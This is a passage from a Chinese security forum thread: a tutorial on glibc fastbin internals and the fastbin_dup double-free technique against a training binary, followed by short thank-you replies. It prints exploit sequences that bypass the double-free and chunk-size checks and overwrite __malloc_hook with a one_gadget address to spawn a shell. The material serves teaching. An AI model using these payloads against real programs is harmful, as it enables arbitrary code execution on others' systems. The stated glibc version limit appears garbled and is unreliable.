学生黑客联盟-官网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 317|回复: 9

从零开始的Linux堆利用(二)

[复制链接]

该用户从未签到

28

主题

28

帖子

96

积分

注册会员

Rank: 2

积分
96
发表于 2021-7-23 18:01:12 | 显示全部楼层 |阅读模式
和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;
内容都是自己的博客,有兴趣可以看一看-> https://hack1s.fun/
FastBin

与malloc相对的是free函数
free函数可以释放malloc分配的chunk空间
这些free的chunk会连接在一起在free_list中
fastbins是可以快速访问的bins,里面存储着被free的chunk
用一个简单的例子来看一下,首先malloc了三个空间,这时可以看到vis和fastbins的输出
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (1)
执行这一步free,把a这部分空间free掉之后再看有什么变化
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (2)
执行完了一步,free(a)之后可以看到,vis中原本a那里被标识出来连接到了fastbins
另外在fastbins中0x20的位置填上了原本a的chunk地址
这里的信息是存储在堆中名为arena的空间的,直接用dq &main_arena 20查看
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (3)
红色标出来的地方是大小为0x20的fastbin所在的地址
每次free之后如果要被放在fastbin中就会在main_arena中进行修改,图中按照字节下去,接下来是0x30、0x40等等的fastbin
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (4)
再将b和c都free掉
之后可以看到首先是vis看到的堆中的数据,原本b、c的空间中userdata的第一个字变成了前面的地址;
即c的user-data是chunk b的地址,b的user-data是chunk a的地址,而a的user-data为0,表示为链表末尾;
在main_arena中记录的是chunk c的地址,即fastbins链表中的最后一项
fastbin的结构类似于栈,filo
之后我们再执行三次malloc,查看都分配在哪里
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (5)
可以发现最先申请的d是拿到了原本c的空间;
最后申请的f是拿到了原本a的空间;先进后出,类似于栈
Fastbin_dup

漏洞程序本身

这个程序本身也是一个菜单形式
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (6)
输入用户名,之后就是malloc、free、target,和之前的程序差不多;
首先分配一个空间随便输一些内容看一下
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (7)
之后可以用free输入index来释放这个chunk
释放的index是从0开始往后增长的
最初输入的用户名和target是一个绑定的结构,可以用p来print或者用dq查看内存区域的内容
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (8)
任意地址写

首先还是实现初级目标,任意地址写
这个程序本身的问题是double free,可以对一个chunk free两次
首先尝试一下直接free这个chunk两次
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (9)
直接收到了Abort信号中断下来了,这时用frame 4查看_int_free函数的栈帧
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (10)
可以看到在这个函数这里是一个提示,检测到了double free,之后中断了;
看到这里的注释,其实是因为要free的chunk和fastbin的链表中top chunk是相同的导致的;
那么针对这个的绕过方式就是再第一次free之后再free一次其他的chunk
让fastbin的第一项和要free的chunk不是同一个地址就可以了
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (11)
这样实现的一个效果就是fastbin链表中形成了一个环
  1. 0x603000->0x603030->0x603000
复制代码
接下来如果执行malloc的话就可以两次申请0x603000的空间
如果想要构成任意地址写,可以第一次申请之后修改其中User-Data的第一个字处,改成一个想要写的地址;
这样之后再执行malloc就可以申请来任意一个地址,并且可以写内容;
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (12)
这里我们执行流程是
  1. a=malloc(0x28);
  2. b=malloc(0x28);
  3. free(a);
  4. free(b);
  5. free(a);
  6. malloc(0x28,p64(0xdeadbeef));
复制代码
其中最后一次malloc分配的内容到了原本chunk a的位置,并且我们在user data这里填充了0xdeadbeef
这样接下来再申请三次,第三次malloc的内容就会写在0xdeadbeef这里
我们想要修改的是Target变量的值,这个值在elf.sym.user这里,所以我们先把shellcode改成下面这样
  1. a=malloc(0x28);
  2. b=malloc(0x28);
  3. free(a);
  4. free(b);
  5. free(a);
  6. malloc(0x28,p64(elf.sym.user));
  7. malloc(0x28);
  8. malloc(0x28);
  9. malloc(0x28,"writesomethins");
复制代码
结果刚刚运行就直接收到SIGNAL中断了,查看一下出错的位置的栈帧,可以看到提示的是Memory corruption
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (13)
注释写着是在检查chunk的size字段和fastbin申请的是否相等
看一下我们正常申请chunk时的结构,有一个比较重要的地方被忽略了
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (14)
这些地方都标识着0x31,表示这个chunk大小是0x30
而我们伪造的elf.sym.user那里是没有这个值的,因此需要把这个补一下;
正好这个地方是我们一开始输入username的地方,我们直接把username伪造成这样的结构就可以了
  1. username = p64(0) + p64(0x31)
复制代码
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (15)
这时可以看到这个target就已经被改了
但是这样的任意地址写有一些限制,需要先在要写的位置有一段可以控制的内容,在这里我们想要写的是target,但是首先需要能够控制这个user字段,否则伪造的chunk无法通过size的检查。
任意代码执行

可以尝试像之前一样修改__malloc_hook或是修改__free_hook
但是简单的尝试修改这两个指针的值会导致没有办法通过chunk size的检查
我们可以使用find_fake_fast这个指令查看想要修改的位置附近是否有可能存在可以伪造的chunk内存地址
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (16)
这里查到__free_hook附近是没有,__malloc_hook前面一些有这样的一个可以改的地方
实际上把这附近的值都输出一下,可以发现
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (17)
实际上find_fake_fast做的事情就是在__malloc_hook开始的地址向前找,看是否有哪一个地方可以当作标志位,可以用来伪造的;
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (18)
虽然这里0x7f不是在size实际上在的那个位置,但是前面都是0,我们设法把0x7f这个位置放在size的地方再对齐,靠这个0x7f绕过free对size的检查;
然后由于大小是0x70,原本是申请0x28是放在0x30的bins,需要都改成0x68,放在0x70的bins
另外从这个fake chunk的用户数据b3d到__malloc_hook的b50中间还需要填充一些数据
所以整个流程就是
  1. a=malloc(0x68)
  2. b=malloc(0x68)
  3. free(a)
  4. free(b)
  5. free(a)
  6. malloc(0x68,p64(libc.sym['__malloc_hook']-(0x50-0x2d)))
  7. malloc(0x68)
  8. malloc(0x68)
  9. malloc(0x68,b'B'*(0x50-0x3d)+p64(libc.sym.system))
复制代码
这样执行完之后就已经被改成了system了
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (19)
最后想要弹一个shell就只需要传/bin/bash给system的参数就可以了
但是这里又存在了一个问题
这个程序为了只申请fastbin,在这里malloc的大小受到了限制
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (20)
最大120,着肯定没法直接传入一个地址
这里的解决方法是不使用system函数的地址,改用one_gadget
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (21)
用one_gadget查找这个libc中可能调用的bin/sh
之后把这个地址和libc的起始地址相加之后写到原本system那个地方
下面需要检查一下这里面哪一个gadget的约束条件是满足的
在GDB里面用b *__malloc_hook下断点,之后继续运行
在终端里面用选项1触发malloc,查看这时的寄存器状态
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (22)
R12、R13都不是NULL,并且rsi、[rsi]也都不是NULL、[rax]、[[rax]]也不是
那只能确认一下[rsp+0x50]这里了
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (23)
检查一下栈发现这里是满足的,所以可以用这个gadget
最终我们的payload如下
  1. a=malloc(0x68)
  2. b=malloc(0x68)
  3. free(a)
  4. free(b)
  5. free(a)
  6. malloc(0x68,p64(libc.sym['__malloc_hook']-(0x50-0x2d)))
  7. malloc(0x68)
  8. malloc(0x68)
  9. malloc(0x68,b'B'*(0x50-0x3d)+p64(libc.address+0xe1fa1))
  10. malloc(1,'')
复制代码
运行一下就成功获得了shell权限
网络新闻动向交流-和前一篇一样,是Udemy上Linux Heap Exploitation课里面的内容;内容都是自己的博客,有兴趣可以看一看-> (24)
FastBin_dup只可以用于glibc_2.3.1及以下的版本
并且需要攻击者知道要修改的地址,以及能够找到绕过chunk size检查的fake chunk

该用户从未签到

0

主题

1726

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-23 18:01:53 | 显示全部楼层
感谢分享
回复

使用道具 举报

该用户从未签到

1

主题

1624

帖子

1045

积分

金牌会员

Rank: 6Rank: 6

积分
1045
发表于 2021-7-23 18:02:48 | 显示全部楼层
谢谢大佬!
回复

使用道具 举报

该用户从未签到

0

主题

1726

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-23 18:03:20 | 显示全部楼层
这就是底层吗?i了i了
回复

使用道具 举报

该用户从未签到

0

主题

1726

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-23 18:03:36 | 显示全部楼层
不错不错,涨知识了
回复

使用道具 举报

该用户从未签到

1

主题

1624

帖子

1045

积分

金牌会员

Rank: 6Rank: 6

积分
1045
发表于 2021-7-23 18:04:14 | 显示全部楼层
收藏了,小白开始学习了
回复

使用道具 举报

该用户从未签到

3

主题

1674

帖子

893

积分

高级会员

Rank: 4

积分
893
发表于 2021-7-23 18:04:59 | 显示全部楼层
这么底层,太强了!
回复

使用道具 举报

该用户从未签到

3

主题

1674

帖子

893

积分

高级会员

Rank: 4

积分
893
发表于 2021-7-23 18:05:22 | 显示全部楼层
感谢分享
回复

使用道具 举报

该用户从未签到

0

主题

1726

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-23 18:05:27 | 显示全部楼层
感谢分享,收藏备用谢谢
回复

使用道具 举报

该用户从未签到

1

主题

1624

帖子

1045

积分

金牌会员

Rank: 6Rank: 6

积分
1045
发表于 2021-7-23 18:06:01 | 显示全部楼层
正好在看堆,学习了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭Powered by ©科大讯飞语音云

QQ|Archiver|手机版|小黑屋|TBC ( 鄂ICP备19004742号(鄂ICP备19004742号-2) )|网站地图|鄂ICP备19004742号(鄂ICP备19004742号-2) 联系站长

GMT+8, 2021-9-26 01:46 , Processed in 0.875000 second(s), 84 queries .

Powered by TBC! X3.4

© 2001-2020 TBC.. 技术支持 by 复仇者黑客组织

快速回复 返回顶部 返回列表